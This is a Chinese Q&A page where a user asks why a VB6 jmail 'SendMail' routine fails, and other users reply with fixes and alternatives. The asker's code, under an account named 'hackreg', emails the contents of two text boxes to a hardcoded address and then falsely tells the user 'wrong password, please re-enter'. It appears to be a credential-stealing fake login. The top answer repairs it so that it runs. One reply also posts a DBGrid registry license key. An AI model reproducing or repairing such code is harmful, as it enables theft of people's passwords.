永发信息网

VB 邮件发送

答案:4  悬赏:40  手机版
解决时间 2021-08-19 18:24
  • 提问者网友:疯子也有疯子的情调
  • 2021-08-19 09:36

Private Sub Command7_Click()
Sub SendMail(Optional ByVal sSubject As String, _
Optional ByVal sBody As String, _
Optional ByVal sFileName As String)
Dim jmail
Set jmail = CreateObject("jmail.Message")
If sFileName <> "\" Then
jmail.Charset = "gb2312"
jmail.Silent = False
jmail.Priority = 1 '邮件状态,1-5 1 为最高
jmail.MailServerUserName = "hackreg" 'Email 帐号
jmail.MailServerPassWord = "" 'Email 密码
jmail.FromName = "hackreg"    '发信人姓名
jmail.From = "hackreg@126.com" '发邮件地址地址
jmail.Subject = "hackreg" '主题
jmail.AddRecipient "picone@ 163.com" '收信人地址
jmail.body = "text1 & &'    '& text2" '信件正文
jmail.Send ("smtp.126.com") 'SMTP 服务器
Set jmail = Nothing
End If
MsgBox "密码错误,清重新输入"
End Sub

 

看看哪里出错了.运行后缺少End Sub

最佳答案
  • 五星知识达人网友:末日狂欢
  • 2021-08-19 11:13

用来发送邮件的SendMail过程是一个单独的Sub过程,不能放在Command7的Click事件里,但可以引用,用Call语句即可。具体如下:


Sub SendMail(Optional ByVal sSubject As String, Optional ByVal sBody As String, Optional ByVal sFileName As String)
Dim jmail
Set jmail = CreateObject("jmail.Message")
If sFileName <> "\" Then
jmail.Charset = "gb2312"
jmail.Silent = False
jmail.Priority = 1 '邮件状态,1-5 1 为最高
jmail.MailServerUserName = "hackreg"
jmail.MailServerPassWord = ""
jmail.FromName = "hackreg"   
jmail.From = "hackreg@126.com" '
jmail.Subject = sSubject
jmail.AddRecipient "picone@ 163.com"
jmail.body =sBody


jmail.Send ("smtp.126.com")
Set jmail = Nothing
End If
MsgBox "密码错误,清重新输入"
End Sub


 


Private Sub Command7_Click()


Call SendMail("主题","正文")
End Sub 

全部回答
  • 1楼网友:人间朝暮
  • 2021-08-19 13:01

Dim NameS As String    Dim Email As Object

NameS = " http://schemas.microsoft.com/cdo/configuration/"     Set Email = CreateObject("CDO.Message") Email.From = "xxxxxxxx" ' //发送的油箱号码    Email.To = "xxxxxxx"    ' // 目标油箱号码 Email.Subject = "xxxx" ' //相当于邮件里的标题 Email.Textbody = "xxxxxx'//相当于邮件里的内容 Email.addattachment "xxxxx"附件路径  Email.Configuration.Fields.Item(NameS & "sendusing") = 2     Email.Configuration.Fields.Item(NameS & "smtpserver") = "smtp.xxxxx.com" '//邮件服务器     Email.Configuration.Fields.Item(NameS & "smtpserverport") = 25 '//端口号     Email.Configuration.Fields.Item(NameS & "smtpauthenticate") = 1     Email.Configuration.Fields.Item(NameS & "sendusername") = "xxx" '//油箱号码@前面的名字     Email.Configuration.Fields.Item(NameS & "sendpassword") = "xxxx" '//你油箱的密码     Email.Configuration.Fields.Update     Email.send

    Email.Configuration.Fields.Item(NameS & "smtpserver") = "smtp.XXXXX.com" '//邮件服务器     Email.Configuration.Fields.Item(NameS & "smtpserverport") = 25 '//端口号     Email.Configuration.Fields.Item(NameS & "smtpauthenticate") = 1     Email.Configuration.Fields.Item(NameS & "sendusername") = "XXXXX" '//油箱号码@前面的名字     Email.Configuration.Fields.Item(NameS & "sendpassword") = "XXXXXX" '//你油箱的密码     Email.Configuration.Fields.Update     Email.send

  • 2楼网友:人间朝暮
  • 2021-08-19 11:40

因为我没有控件。所以没有运行。

Private Sub Command7_Click() Sub SendMail(Optional ByVal sSubject As String, Optional ByVal sBody As String, Optional ByVal sFileName As String)    Dim jmail As Object    Set jmail = CreateObject("jmail.Message")    If sFileName <> "\" Then     With jmail     .Charset = "gb2312"     .Silent = False     .Priority = 1 '邮件状态,1-5 1 为最高     .MailServerUserName = "hackreg" 'Email 帐号     .MailServerPassWord = "" 'Email 密码     .FromName = "hackreg"    '发信人姓名     .From = "hackreg@126.com" '发邮件地址地址     .Subject = "hackreg" '主题     .AddRecipient "picone@ 163.com" '收信人地址     .body = "text1 & &'    '& text2" '信件正文     .Send ("smtp.126.com") 'SMTP 服务器     End With     Set jmail = Nothing

    Exit Sub    End If    MsgBox "密码错误,清重新输入" End Sub End Sub

  • 3楼网友:不甚了了
  • 2021-08-19 11:23
下载地址:URL: http://www.relaxsoft.com/speedemailplus/DBGRID32.OCX 在VB6安装光盘的CommonTOOLSVBCONTROLS目录下找到DBGrid32.ocx文件,复制到C:WindowsSystem目录下。 并在命令行下执行:regsvr32 dbgrid32.ocx,提示注册成功。 VB6的安装盘中可以找到DBGrid的注册文件:DBGRID.reg ,或自己将以下内容用记事本保存为DBGRID.reg 注册文件,双击导入。 REGEDIT HKEY_CLASSES_ROOT\Licenses = Licensing: Copying the keys may be a violation of established copyrights. // The DBGrid Control license follows: HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4 = xybiedobrqsprbijaegcbislrsiucfjdhisl
我要举报
如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
点此我要举报以上问答信息
大家都在看
推荐资讯